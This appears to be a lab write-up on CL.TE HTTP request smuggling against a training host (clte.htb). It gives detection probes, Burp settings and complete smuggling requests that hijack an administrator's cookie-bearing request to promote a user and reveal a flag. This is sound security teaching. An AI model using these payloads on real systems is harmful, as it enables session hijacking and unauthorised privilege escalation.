CL.TE vulnerabilities occur when:
- Front-end (Reverse Proxy): Does NOT support chunked encoding → uses
Content-Length - Back-end (Web Server): Correctly uses
Transfer-Encoding(per RFC)
This discrepancy allows attackers to smuggle requests through the front-end.
Consider this malicious request:
POST / HTTP/1.1
Host: clte.htb
Content-Length: 10
Transfer-Encoding: chunked
0
HELLOThe front-end sees Content-Length: 10 and parses:
0\r\n\r\nHELLO
Result: All 10 bytes consumed, request forwarded to back-end.
The back-end prefers Transfer-Encoding: chunked and sees:
0\r\n\r\n
The 0 chunk terminates the body. The bytes HELLO remain unconsumed in the TCP stream.
Front-end: [Complete Request] → forwards to back-end
Back-end: [Complete Request][HELLO leftover in TCP buffer]
The leftover HELLO becomes the beginning of the next request.
POST / HTTP/1.1
Host: clte.htb
Content-Length: 10
Transfer-Encoding: chunked
0
HELLOGET / HTTP/1.1
Host: clte.htbFront-end view (splits by Content-Length):
[Request 1: POST / ... body ends after "HELLO"]
[Request 2: GET / HTTP/1.1 ...]
Back-end view (splits by chunked encoding):
[Request 1: POST / ... body ends at "0\r\n\r\n"]
[Request 2: HELLOGET / HTTP/1.1 ...] ← Invalid method!
The victim receives HTTP 405 Method Not Allowed because HELLOGET is not a valid HTTP method.
Request 1 (Smuggling request):
POST / HTTP/1.1
Host: <TARGET>
Content-Length: 10
Transfer-Encoding: chunked
0
HELLORequest 2 (Probe request):
GET / HTTP/1.1
Host: <TARGET>- Open two tabs in Burp Repeater
- Send Request 1 (smuggling request)
- Immediately send Request 2 (probe request)
- Observe response to Request 2
If Request 2 returns HTTP 405 Not Allowed instead of HTTP 200, the target is vulnerable to CL.TE.
Expected (normal): GET / → 200 OK
Observed (vuln): GET / → 405 Not Allowed (because "HELLOGET" method)
Assume we want to force admin to access /admin.php?promote_uid=2
POST / HTTP/1.1
Host: clte.htb
Content-Length: 52
Transfer-Encoding: chunked
0
POST /admin.php?promote_uid=2 HTTP/1.1
Dummy: Note: The
Dummy:header "absorbs" the first line of the victim's request as a header value.
Admin sends normal request:
GET / HTTP/1.1
Host: clte.htb
Cookie: sess=<admin_session_cookie>Front-end TCP stream view:
[Our POST / with CL=52, body ends after "Dummy: "]
[Admin's GET / HTTP/1.1 ...]
Back-end TCP stream view:
[Our POST / with body ending at "0\r\n\r\n"]
[POST /admin.php?promote_uid=2 HTTP/1.1
Dummy: GET / HTTP/1.1
Host: clte.htb
Cookie: sess=<admin_session_cookie>] ← Admin's cookie attached!
The back-end sees:
- Our harmless POST to
/ - Admin's authenticated request to
/admin.php?promote_uid=2
The admin unknowingly promotes our user!
The Content-Length must include:
0\r\n
\r\n
POST /admin.php?promote_uid=2 HTTP/1.1\r\n
Dummy:
| Component | Bytes |
|---|---|
0 |
1 |
\r\n |
2 |
\r\n |
2 |
POST /admin.php?promote_uid=2 HTTP/1.1 |
38 |
\r\n |
2 |
Dummy: |
7 |
| Total | 52 |
- Admin area at
/admin.php - Action:
/admin.php?reveal_flag=1 - Only admin can reveal the flag
POST / HTTP/1.1
Host: <TARGET>
Content-Length: 59
Transfer-Encoding: chunked
0
GET /admin.php?reveal_flag=1 HTTP/1.1
DoesNotMatter:0\r\n\r\n = 5 bytes
GET /admin.php?reveal_flag=1 HTTP/1.1\r\n = 39 bytes
DoesNotMatter: = 14 bytes
= 58-59 bytes
- Send the smuggling request
- Wait ~10 seconds for admin to visit the site
- Admin's request gets transformed:
Admin intended:
GET / HTTP/1.1
Host: target
Cookie: sess=ADMIN_COOKIEBack-end receives:
GET /admin.php?reveal_flag=1 HTTP/1.1
DoesNotMatter: GET / HTTP/1.1
Host: target
Cookie: sess=ADMIN_COOKIE- Check
/admin.php- flag should be revealed!
- Requests share TCP connection
- Send probe immediately after smuggling request
- In exploitation, wait for victim's request
Use dummy headers to absorb victim's request line:
Dummy:
X-Ignore:
Foo: The victim's GET / HTTP/1.1 becomes a header value.
- Disable "Update Content-Length" in Repeater
- Use
\r\n(CRLF) line endings - Check "Normalize HTTP/1 line endings" is OFF
| Response | Meaning |
|---|---|
| 405 Method Not Allowed | Smuggled prefix corrupted method |
| 400 Bad Request | Malformed smuggled request |
| Timeout | Request waiting for more data |
| Different response | Successfully influenced request |
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Front-end │ │ Back-end │
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
│ │ │
│ POST / HTTP/1.1 │ │
│ CL: 10, TE: chunked │ │
│ Body: "0\r\n\r\nHELLO" │ │
│───────────────────────────────>│ │
│ │ Uses CL=10 │
│ │ Forwards all 10 bytes │
│ │───────────────────────────────>│
│ │ │ Uses TE
│ │ │ Body ends at 0\r\n\r\n
│ │ │ "HELLO" left in buffer
│ │ │
│ │ Victim: GET / HTTP/1.1 │
│ │<───────────────────────────────│
│ │ │
│ │───────────────────────────────>│
│ │ │ Sees: "HELLOGET / HTTP/1.1"
│ │ │ Returns 405!
│ │<───────────────────────────────│
│ │ 405 Not Allowed │